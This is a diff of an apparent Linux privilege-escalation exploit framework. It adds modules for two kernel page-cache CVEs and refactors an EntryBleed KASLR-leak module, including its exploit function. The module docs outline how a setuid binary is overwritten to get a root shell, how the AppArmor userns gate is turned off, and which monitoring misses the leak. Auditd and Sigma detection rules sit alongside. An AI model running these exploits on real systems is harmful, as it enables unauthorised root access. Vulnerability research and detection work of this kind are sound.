+sentinel probe, `--no-shell` support, and the embedded detection
+rules. Research credit belongs to the people above.
+
+## Verification status
+
+**Ported, not yet validated end-to-end on a vulnerable-kernel VM.**
+The CVE-2026-31635 fix commit is not yet pinned in this module, so
+`detect()` does not perform a kernel-version patched/vulnerable
+verdict — see `MODULE.md`.

modules/dirtydecrypt_cve_2026_31635/detect/auditd.rules

@@ -0,0 +1,28 @@
+# DirtyDecrypt (CVE-2026-31635) — auditd detection rules
+#
+# The rxgk in-place decrypt corrupts the page cache of a read-only
+# file. These rules flag the syscall surface the exploit drives and
+# writes to the setuid binaries it targets.
+#
+# Install: copy into /etc/audit/rules.d/ and `augenrules --load`, or
+#   skeletonkey --detect-rules --format=auditd | sudo tee \
+#     /etc/audit/rules.d/99-skeletonkey.rules
+
+# Modification of common payload carriers / credential files
+-w /usr/bin/su     -p wa -k skeletonkey-dirtydecrypt
+-w /bin/su         -p wa -k skeletonkey-dirtydecrypt
+-w /usr/bin/mount  -p wa -k skeletonkey-dirtydecrypt
+-w /usr/bin/passwd -p wa -k skeletonkey-dirtydecrypt
+-w /usr/bin/chsh   -p wa -k skeletonkey-dirtydecrypt
+-w /etc/passwd     -p wa -k skeletonkey-dirtydecrypt
+-w /etc/shadow     -p wa -k skeletonkey-dirtydecrypt
+
+# AF_RXRPC socket creation (family 33) — core of the rxgk trigger
+-a always,exit -F arch=b64 -S socket -F a0=33 -k skeletonkey-dirtydecrypt-rxrpc
+
+# rxrpc security keys added to the process keyring
+-a always,exit -F arch=b64 -S add_key -k skeletonkey-dirtydecrypt-key
+
+# splice() drives page-cache pages into the forged DATA packet
+-a always,exit -F arch=b64 -S splice -k skeletonkey-dirtydecrypt-splice
+-a always,exit -F arch=b32 -S splice -k skeletonkey-dirtydecrypt-splice

modules/dirtydecrypt_cve_2026_31635/detect/sigma.yml

@@ -0,0 +1,32 @@
+title: Possible DirtyDecrypt exploitation (CVE-2026-31635)
+id: 7c1e9a40-skeletonkey-dirtydecrypt
+status: experimental
+description: |
+  Detects the file-modification footprint of the rxgk page-cache write
+  (DirtyDecrypt / DirtyCBC, CVE-2026-31635): non-root creation of
+  AF_RXRPC sockets followed by modification of a setuid-root binary or
+  a credential file.
+references:
+  - https://github.com/v12-security/pocs/tree/main/dirtydecrypt
+logsource:
+  product: linux
+  service: auditd
+detection:
+  modification:
+    type: 'PATH'
+    name|startswith:
+      - '/usr/bin/su'
+      - '/bin/su'
+      - '/usr/bin/mount'
+      - '/usr/bin/passwd'
+      - '/usr/bin/chsh'
+      - '/etc/passwd'
+      - '/etc/shadow'
+  not_root:
+    auid|expression: '!= 0'
+  condition: modification and not_root
+level: high
+tags:
+  - attack.privilege_escalation
+  - attack.t1068
+  - cve.2026.31635

modules/dirtydecrypt_cve_2026_31635/skeletonkey_modules.h

@@ -0,0 +1,12 @@
+/*
+ * dirtydecrypt_cve_2026_31635 — SKELETONKEY module registry hook
+ */
+
+#ifndef DIRTYDECRYPT_SKELETONKEY_MODULES_H
+#define DIRTYDECRYPT_SKELETONKEY_MODULES_H
+
+#include "../../core/module.h"
+
+extern const struct skeletonkey_module dirtydecrypt_module;
+
+#endif

modules/entrybleed_cve_2023_0458/MODULE.md

@@ -45,7 +45,7 @@ There is no single canonical patch. Partial mitigations include:
 - Lift the proven EntryBleed code from
   `SKYFALL/bugs/leak_write_modprobe_2026-05-16/exploit.c` into
   `module.c` here
-- Expose as both a CLI mode (`iamroot --leak-kbase`) and as a
+- Expose as both a CLI mode (`skeletonkey --leak-kbase`) and as a
   library helper (`uint64_t entrybleed_leak_kbase(void)`)
 - Detection rules: timing-attack pattern flags, perf-counter
   anomaly detection (informational — these are hard to make precise

modules/entrybleed_cve_2023_0458/NOTICE.md

@@ -14,10 +14,10 @@ Discovered by **Will Findlay**. Formally presented at USENIX Security '23:
 
 Mainline status: no canonical patch — partial mitigations only.
 
-## IAMROOT role
+## SKELETONKEY role
 
 This is a **stage-1 leak primitive**, not a standalone LPE. Other
 modules can call `entrybleed_leak_kbase_lib()` to obtain a KASLR
 slide and feed it to the offset resolver in `core/offsets.c`. x86_64
 only; the `entry_SYSCALL_64` slot offset is configurable via the
-`IAMROOT_ENTRYBLEED_OFFSET` env var.
+`SKELETONKEY_ENTRYBLEED_OFFSET` env var.

modules/entrybleed_cve_2023_0458/skeletonkey_modules.c

@@ -1,5 +1,5 @@
 /*
- * entrybleed_cve_2023_0458 — IAMROOT module
+ * entrybleed_cve_2023_0458 — SKELETONKEY module
  *
  * EntryBleed (Lipp et al., USENIX Security '23). A KPTI prefetchnta
  * timing side-channel that leaks the kernel base address.
@@ -13,10 +13,10 @@
  *     anti-EntryBleed mitigation = VULNERABLE.
  *   - This module is also a LIBRARY: other modules that need a kbase
  *     leak as part of a chain can call `entrybleed_leak_kbase_lib()`
- *     directly (declared in iamroot_modules.h).
+ *     directly (declared in skeletonkey_modules.h).
  *
  * x86_64 only. On ARM64 / other arches, detect() returns
- * IAMROOT_PRECOND_FAIL and exploit() returns IAMROOT_PRECOND_FAIL.
+ * SKELETONKEY_PRECOND_FAIL and exploit() returns SKELETONKEY_PRECOND_FAIL.
  *
  * For users who'd never go to USENIX (TLDR):
  *   - KPTI unmaps kernel pages from user CR3 on kernel-exit, but leaves
@@ -30,8 +30,9 @@
  *   - Subtract its known offset from kbase → KASLR slide
  */
 
-#include "iamroot_modules.h"
+#include "skeletonkey_modules.h"
 #include "../../core/registry.h"
+#include "../../core/host.h"
 
 #include <stdio.h>
 #include <stdint.h>
@@ -108,45 +109,38 @@ unsigned long entrybleed_leak_kbase_lib(unsigned long entry_syscall_slot_offset)
     return (unsigned long)best_base;
 }
 
-static int read_first_line(const char *path, char *out, size_t n)
-{
-    FILE *f = fopen(path, "r");
-    if (!f) return -1;
-    if (!fgets(out, n, f)) { fclose(f); return -1; }
-    fclose(f);
-    /* trim trailing newline */
-    size_t L = strlen(out);
-    while (L && (out[L-1] == '\n' || out[L-1] == '\r')) out[--L] = 0;
-    return 0;
-}
+/* (read_first_line() removed — meltdown status now comes from
+ * ctx->host->meltdown_mitigation, populated once at startup in
+ * core/host.c. One file open across the corpus instead of per-detect.) */
 
-static iamroot_result_t entrybleed_detect(const struct iamroot_ctx *ctx)
+static skeletonkey_result_t entrybleed_detect(const struct skeletonkey_ctx *ctx)
 {
-    /* Probe KPTI status. /sys/devices/system/cpu/vulnerabilities/meltdown
-     * is the most direct signal: "Mitigation: PTI" means KPTI is on
-     * (= EntryBleed-applicable). "Not affected" means a hardened CPU
-     * (very recent Intel + most AMD = no KPTI = no EntryBleed). */
-    char buf[256];
-    int rc = read_first_line(
-        "/sys/devices/system/cpu/vulnerabilities/meltdown", buf, sizeof buf);
-    if (rc < 0) {
+    /* KPTI status comes from the shared host fingerprint
+     * (ctx->host->meltdown_mitigation) — populated once at startup by
+     * reading /sys/devices/system/cpu/vulnerabilities/meltdown. The
+     * raw string is preserved (not just the kpti_enabled bool) so we
+     * can distinguish "Not affected" (CPU immune; OK) from
+     * "Mitigation: PTI" / "Vulnerable" (KPTI on; vulnerable to
+     * EntryBleed) without re-reading sysfs. */
+    const char *meltdown = ctx->host ? ctx->host->meltdown_mitigation : "";
+    if (meltdown[0] == '\0') {
         if (!ctx->json) {
-            fprintf(stderr, "[?] entrybleed: cannot read meltdown vuln status — "
+            fprintf(stderr, "[?] entrybleed: meltdown vuln status unknown — "
                             "assuming KPTI on (conservative)\n");
         }
-        return IAMROOT_VULNERABLE;
+        return SKELETONKEY_VULNERABLE;
     }
     if (!ctx->json) {
-        fprintf(stderr, "[i] entrybleed: meltdown status = '%s'\n", buf);
+        fprintf(stderr, "[i] entrybleed: meltdown status = '%s'\n", meltdown);
     }
 
     /* "Not affected" → CPU is Meltdown-immune → no KPTI → no EntryBleed */
-    if (strstr(buf, "Not affected") != NULL) {
+    if (strstr(meltdown, "Not affected") != NULL) {
         if (!ctx->json) {
             fprintf(stderr, "[+] entrybleed: CPU is Meltdown-immune; KPTI off; "
                             "EntryBleed N/A\n");
         }
-        return IAMROOT_OK;
+        return SKELETONKEY_OK;
     }
 
     /* "Mitigation: PTI" or "Vulnerable" or similar — KPTI is most likely
@@ -178,7 +172,7 @@ static iamroot_result_t entrybleed_detect(const struct iamroot_ctx *ctx)
                 fprintf(stderr, "[!] entrybleed: ACTIVE PROBE CONFIRMED — "
                                 "leak yields plausible kbase 0x%lx\n", kbase);
             }
-            return IAMROOT_VULNERABLE;
+            return SKELETONKEY_VULNERABLE;
         }
         if (!ctx->json) {
             fprintf(stderr, "[+] entrybleed: active probe returned implausible kbase "
@@ -186,9 +180,9 @@ static iamroot_result_t entrybleed_detect(const struct iamroot_ctx *ctx)
         }
         /* Implausible probe result. Either the entry_SYSCALL_64 slot
          * offset doesn't match lts-6.12.x default (different kernel
-         * build) — user should set IAMROOT_ENTRYBLEED_OFFSET — or
+         * build) — user should set SKELETONKEY_ENTRYBLEED_OFFSET — or
          * timing is too noisy. Don't claim CONFIRMED. */
-        return IAMROOT_TEST_ERROR;
+        return SKELETONKEY_TEST_ERROR;
     }
 
     if (!ctx->json) {
@@ -197,21 +191,21 @@ static iamroot_result_t entrybleed_detect(const struct iamroot_ctx *ctx)
         fprintf(stderr, "[i] entrybleed: --exploit will leak kbase (harmless leak; "
                         "no /etc/passwd writes)\n");
     }
-    return IAMROOT_VULNERABLE;
+    return SKELETONKEY_VULNERABLE;
 }
 
-static iamroot_result_t entrybleed_exploit(const struct iamroot_ctx *ctx)
+static skeletonkey_result_t entrybleed_exploit(const struct skeletonkey_ctx *ctx)
 {
-    const char *off_env = getenv("IAMROOT_ENTRYBLEED_OFFSET");
+    const char *off_env = getenv("SKELETONKEY_ENTRYBLEED_OFFSET");
     unsigned long off = 0;
     if (off_env) {
         off = strtoul(off_env, NULL, 0);
         if (!ctx->json) {
-            fprintf(stderr, "[i] entrybleed: using IAMROOT_ENTRYBLEED_OFFSET=0x%lx\n", off);
+            fprintf(stderr, "[i] entrybleed: using SKELETONKEY_ENTRYBLEED_OFFSET=0x%lx\n", off);
         }
     } else if (!ctx->json) {
         fprintf(stderr, "[i] entrybleed: using default entry_SYSCALL_64 slot offset "
-                        "0x%lx (lts-6.12.x). Override via IAMROOT_ENTRYBLEED_OFFSET=0x...\n",
+                        "0x%lx (lts-6.12.x). Override via SKELETONKEY_ENTRYBLEED_OFFSET=0x...\n",
                 DEFAULT_ENTRY_OFF);
     }
 
@@ -223,7 +217,7 @@ static iamroot_result_t entrybleed_exploit(const struct iamroot_ctx *ctx)
     unsigned long kbase = entrybleed_leak_kbase_lib(off);
     if (kbase == 0) {
         fprintf(stderr, "[-] entrybleed: leak failed (kbase == 0)\n");
-        return IAMROOT_EXPLOIT_FAIL;
+        return SKELETONKEY_EXPLOIT_FAIL;
     }
 
     if (ctx->json) {
@@ -233,7 +227,7 @@ static iamroot_result_t entrybleed_exploit(const struct iamroot_ctx *ctx)
         fprintf(stderr, "[+] entrybleed: KASLR slide = 0x%lx (relative to 0xffffffff81000000)\n",
                 kbase - 0xffffffff81000000UL);
     }
-    return IAMROOT_EXPLOIT_OK;
+    return SKELETONKEY_EXPLOIT_OK;
 }
 
 #else /* not x86_64 */
@@ -244,19 +238,19 @@ unsigned long entrybleed_leak_kbase_lib(unsigned long off)
     return 0;
 }
 
-static iamroot_result_t entrybleed_detect(const struct iamroot_ctx *ctx)
+static skeletonkey_result_t entrybleed_detect(const struct skeletonkey_ctx *ctx)
 {
     (void)ctx;
     fprintf(stderr, "[i] entrybleed: x86_64 only; this build is for a "
                     "different architecture\n");
-    return IAMROOT_PRECOND_FAIL;
+    return SKELETONKEY_PRECOND_FAIL;
 }
 
-static iamroot_result_t entrybleed_exploit(const struct iamroot_ctx *ctx)
+static skeletonkey_result_t entrybleed_exploit(const struct skeletonkey_ctx *ctx)
 {
     (void)ctx;
     fprintf(stderr, "[-] entrybleed: x86_64 only\n");
-    return IAMROOT_PRECOND_FAIL;
+    return SKELETONKEY_PRECOND_FAIL;
 }
 
 #endif
@@ -268,7 +262,7 @@ static iamroot_result_t entrybleed_exploit(const struct iamroot_ctx *ctx)
  * Ship a Sigma note describing this; auditd rule intentionally omitted. */
 static const char entrybleed_sigma[] =
     "title: EntryBleed-style KPTI timing side-channel (CVE-2023-0458)\n"
-    "id: 7b3a48d1-iamroot-entrybleed\n"
+    "id: 7b3a48d1-skeletonkey-entrybleed\n"
     "status: experimental\n"
     "description: |\n"
     "  EntryBleed leaks kbase via prefetchnta timing against entry_SYSCALL_64.\n"
@@ -280,7 +274,7 @@ static const char entrybleed_sigma[] =
     "level: informational\n"
     "tags: [attack.discovery, attack.t1082, cve.2023.0458]\n";
 
-const struct iamroot_module entrybleed_module = {
+const struct skeletonkey_module entrybleed_module = {
     .name           = "entrybleed",
     .cve            = "CVE-2023-0458",
     .summary        = "KPTI prefetchnta timing side-channel → kbase leak (stage-1)",
@@ -294,9 +288,11 @@ const struct iamroot_module entrybleed_module = {
     .detect_sigma   = entrybleed_sigma,
     .detect_yara    = NULL,
     .detect_falco   = NULL,
+    .opsec_notes    = "Pure timing side-channel: rdtsc + prefetchnta sweep across the kernel high-half (~16 MiB) to time which 2 MiB page is mapped (entry_SYSCALL_64) and subtract its known offset from kbase. No syscalls fired, no file artifacts, no network. Classic auditd cannot see it; perf-counter EDR can flag a process spending unusual time in tight prefetchnta loops but classic rules will not. No cleanup needed.",
+    .arch_support   = "x86_64",
 };
 
-void iamroot_register_entrybleed(void)
+void skeletonkey_register_entrybleed(void)
 {
-    iamroot_register(&entrybleed_module);
+    skeletonkey_register(&entrybleed_module);
 }

modules/entrybleed_cve_2023_0458/skeletonkey_modules.h

@@ -1,13 +1,13 @@
 /*
- * entrybleed_cve_2023_0458 — IAMROOT module registry hook
+ * entrybleed_cve_2023_0458 — SKELETONKEY module registry hook
  */
 
-#ifndef ENTRYBLEED_IAMROOT_MODULES_H
-#define ENTRYBLEED_IAMROOT_MODULES_H
+#ifndef ENTRYBLEED_SKELETONKEY_MODULES_H
+#define ENTRYBLEED_SKELETONKEY_MODULES_H
 
 #include "../../core/module.h"
 
-extern const struct iamroot_module entrybleed_module;
+extern const struct skeletonkey_module entrybleed_module;
 
 /* Library entry point for other modules that need a kbase leak.
  * Returns the leaked kernel _text base on success, or 0 on failure

modules/fragnesia_cve_2026_46300/MODULE.md

@@ -0,0 +1,87 @@
+# fragnesia — CVE-2026-46300
+
+> 🟡 **PRIMITIVE / ported.** Faithful port of the public V12 PoC into
+> the `skeletonkey_module` interface. **Not yet validated end-to-end on
+> a vulnerable-kernel VM** — see _Verification status_ below.
+
+## Summary
+
+Fragnesia ("Fragment Amnesia") is an XFRM ESP-in-TCP local privilege
+escalation. `skb_try_coalesce()` fails to propagate the
+`SKBFL_SHARED_FRAG` marker when moving paged fragments between socket
+buffers — so the kernel forgets that a fragment is externally backed by
+page-cache pages spliced in from a file. The ESP-in-TCP receive path
+then decrypts in place, corrupting the page cache of a read-only file.
+
+Fragnesia is a **latent bug exposed by the Dirty Frag fix**: the
+candidate patch cites the Dirty Frag remediation (`f4c50a4034e6`) as a
+commit it "fixes". It is the same page-cache-write bug class as Copy
+Fail / Dirty Frag, reached through a different code path.
+
+## Primitive
+
+1. Build a 256-entry **AES-GCM keystream-byte table** via `AF_ALG`
+   `ecb(aes)` — for any wanted output byte, this yields the ESP IV
+   whose keystream byte XORs the current byte to the target.
+2. Enter a mapped **user namespace** + **network namespace**, bring
+   loopback up, and install an XFRM **ESP-in-TCP** state
+   (`rfc4106(gcm(aes))`, `TCP_ENCAP_ESPINTCP`).
+3. A **receiver** accepts a loopback TCP connection and flips it to the
+   `espintcp` ULP; a **sender** `splice()`s page-cache pages of the
+   target file into that TCP stream behind a crafted ESP prefix.
+4. The coalesce bug makes the kernel decrypt the spliced page-cache
+   pages in place — one chosen byte per trigger.
+
+The exploit rewrites the first 192 bytes of a setuid-root binary
+(`/usr/bin/su` and friends) with an ET_DYN ELF that drops privileges to
+0 and `execve`s `/bin/sh`.
+
+## Operations
+
+| Op | Behaviour |
+|---|---|
+| `--scan` | Checks unprivileged-userns availability + a readable setuid carrier ≥ 4096 bytes. With `--active`, runs the full ESP-in-TCP primitive against a disposable `/tmp` file and reports VULNERABLE/OK empirically. |
+| `--exploit … --i-know` | Forks a child that places the payload into the carrier's page cache and execs it for a root shell. `--no-shell` stops after the page-cache write. |
+| `--cleanup` | Evicts the carrier from the page cache. The on-disk binary is never written. |
+| `--detect-rules` | Emits embedded auditd + sigma rules. |
+
+## Preconditions
+
+- **Unprivileged user namespaces enabled.** On Ubuntu, AppArmor blocks
+  this by default — `sysctl kernel.apparmor_restrict_unprivileged_userns=0`
+  (or chain a separate bypass). This is the scoping question the old
+  `_stubs/fragnesia_TBD` raised; the module ships and reports
+  `PRECOND_FAIL` cleanly when the userns gate is closed.
+- `CONFIG_INET_ESPINTCP` built into the kernel.
+- A readable setuid-root binary ≥ 4096 bytes as the payload carrier.
+- x86_64 (the embedded ELF payload is x86_64 shellcode).
+
+## Port notes
+
+The upstream PoC renders a full-screen ANSI "smash frame" TUI
+(`draw_smash_frame` + terminal scroll-region escapes). That is **not**
+ported — it cannot coexist with a shared multi-module dispatcher.
+Progress is logged with `[*]`/`[+]`/`[-]` prefixes, gated on `--json`.
+The exploit mechanism itself is reproduced faithfully.
+
+## Verification status
+
+This module is a **faithful port** of
+<https://github.com/v12-security/pocs/tree/main/fragnesia>, compiled
+into the SKELETONKEY module interface. The **exploit body** has not
+been validated end-to-end against a known-vulnerable kernel inside the
+SKELETONKEY CI matrix.
+
+**`detect()` is now version-pinned**: the Fragnesia fix ships in
+mainline Linux **7.0.9** (Debian tracker source-of-truth, `linux
+unstable: 7.0.9-1 fixed`). The `kernel_range` table marks the 7.0.x
+branch patched at `7.0.9`; older Debian-stable branches (5.10 / 6.1 /
+6.12) are currently still vulnerable per the tracker. With `--active`,
+the detector runs the full ESP-in-TCP primitive against a `/tmp` file
+and reports empirically — catches stable-branch backports the version
+table doesn't know about, and CONFIG_INET_ESPINTCP=n kernels where the
+primitive is structurally unreachable.
+
+**Before promoting to 🟢:** validate the exploit end-to-end on a
+≤ 7.0.8 kernel. Extend the `kernel_range` table with backport
+thresholds for 5.10 / 6.1 / 6.12 as distros publish them.

modules/fragnesia_cve_2026_46300/NOTICE.md

@@ -0,0 +1,48 @@
+# NOTICE — fragnesia
+
+## Vulnerability
+
+**CVE-2026-46300** — "Fragnesia" ("Fragment Amnesia"). XFRM ESP-in-TCP
+local privilege escalation. `skb_try_coalesce()` fails to propagate the
+`SKBFL_SHARED_FRAG` marker when moving paged fragments between socket
+buffers, so the kernel loses track of the fact that a fragment is
+externally backed by page-cache pages spliced in from a file. The
+ESP-in-TCP receive path then decrypts in place, corrupting the page
+cache of a read-only file.
+
+Fragnesia is a **latent bug exposed by the Dirty Frag remediation**:
+the candidate fix explicitly cites the Dirty Frag patch
+(`f4c50a4034e6`) as a commit it "fixes" — the Dirty Frag remediation
+made a previously latent flaw practically exploitable.
+
+## Research credit
+
+Discovered by **William Bowling** with the **V12 security** team.
+
+> Reference PoC: <https://github.com/v12-security/pocs/tree/main/fragnesia>
+> Patch thread: <https://lists.openwall.net/netdev/2026/05/13/79>
+
+## SKELETONKEY role
+
+`skeletonkey_modules.c` is a port of the V12 PoC
+(`xfrm_espintcp_pagecache_replace`) into the `skeletonkey_module`
+interface. The exploit primitive — the AES-GCM keystream-byte table
+built via AF_ALG, the per-byte IV selection, the userns + netns + XFRM
+ESP-in-TCP setup, the splice-driven sender/receiver trigger pair, the
+192-byte ELF payload — is reproduced from that PoC.
+
+**Port adaptation:** the PoC's ANSI "smash frame" TUI
+(`draw_smash_frame` + terminal scroll-region escape sequences) is
+**not** carried over — it is incompatible with running as one module
+among many under a shared dispatcher. Progress is reported with
+SKELETONKEY's `[*]`/`[+]`/`[-]` log prefixes instead. SKELETONKEY also
+adds the detect/cleanup lifecycle, an `--active` probe, `--no-shell`
+support, and the embedded detection rules. Research credit belongs to
+the people above.
+
+## Verification status
+
+**Ported, not yet validated end-to-end on a vulnerable-kernel VM.**
+Requires `CONFIG_INET_ESPINTCP` and unprivileged user-namespace
+creation. The CVE-2026-46300 fix commit is not yet pinned in this
+module — see `MODULE.md`.

modules/fragnesia_cve_2026_46300/detect/auditd.rules

@@ -0,0 +1,31 @@
+# Fragnesia (CVE-2026-46300) — auditd detection rules
+#
+# The XFRM ESP-in-TCP coalesce bug corrupts the page cache of a
+# read-only file. These rules flag the syscall surface the exploit
+# drives and writes to the setuid binaries it targets.
+#
+# Install: copy into /etc/audit/rules.d/ and `augenrules --load`, or
+#   skeletonkey --detect-rules --format=auditd | sudo tee \
+#     /etc/audit/rules.d/99-skeletonkey.rules
+
+# Modification of common payload carriers / credential files
+-w /usr/bin/su     -p wa -k skeletonkey-fragnesia
+-w /bin/su         -p wa -k skeletonkey-fragnesia
+-w /usr/bin/mount  -p wa -k skeletonkey-fragnesia
+-w /usr/bin/passwd -p wa -k skeletonkey-fragnesia
+-w /usr/bin/chsh   -p wa -k skeletonkey-fragnesia
+-w /etc/passwd     -p wa -k skeletonkey-fragnesia
+-w /etc/shadow     -p wa -k skeletonkey-fragnesia
+
+# AF_ALG socket creation (family 38) — builds the GCM keystream table
+-a always,exit -F arch=b64 -S socket -F a0=38 -k skeletonkey-fragnesia-afalg
+
+# XFRM state setup over NETLINK_XFRM
+-a always,exit -F arch=b64 -S sendto -k skeletonkey-fragnesia-xfrm
+
+# TCP_ULP espintcp + ESP setsockopt surface
+-a always,exit -F arch=b64 -S setsockopt -k skeletonkey-fragnesia-sockopt
+
+# splice() drives page-cache pages into the ESP-in-TCP stream
+-a always,exit -F arch=b64 -S splice -k skeletonkey-fragnesia-splice
+-a always,exit -F arch=b32 -S splice -k skeletonkey-fragnesia-splice

modules/fragnesia_cve_2026_46300/detect/sigma.yml

@@ -0,0 +1,30 @@
+title: Possible Fragnesia exploitation (CVE-2026-46300)
+id: 9b3d2e71-skeletonkey-fragnesia
+status: experimental
+description: |
+  Detects the file-modification footprint of the Fragnesia XFRM
+  ESP-in-TCP page-cache write (CVE-2026-46300): non-root modification
+  of a setuid-root binary or credential file, typically inside a
+  freshly created user + network namespace.
+references:
+  - https://github.com/v12-security/pocs/tree/main/fragnesia
+  - https://lists.openwall.net/netdev/2026/05/13/79
+logsource:
+  product: linux
+  service: auditd
+detection:
+  modification:
+    type: 'PATH'
+    name|startswith:
+      - '/usr/bin/su'
+      - '/bin/su'
+      - '/etc/passwd'
+      - '/etc/shadow'
+  not_root:
+    auid|expression: '!= 0'
+  condition: modification and not_root
+level: high
+tags:
+  - attack.privilege_escalation
+  - attack.t1068
+  - cve.2026.46300

modules/fragnesia_cve_2026_46300/skeletonkey_modules.h

@@ -0,0 +1,12 @@
+/*
+ * fragnesia_cve_2026_46300 — SKELETONKEY module registry hook
+ */
+
+#ifndef FRAGNESIA_SKELETONKEY_MODULES_H
+#define FRAGNESIA_SKELETONKEY_MODULES_H
+
+#include "../../core/module.h"
+
+extern const struct skeletonkey_module fragnesia_module;
+
+#endif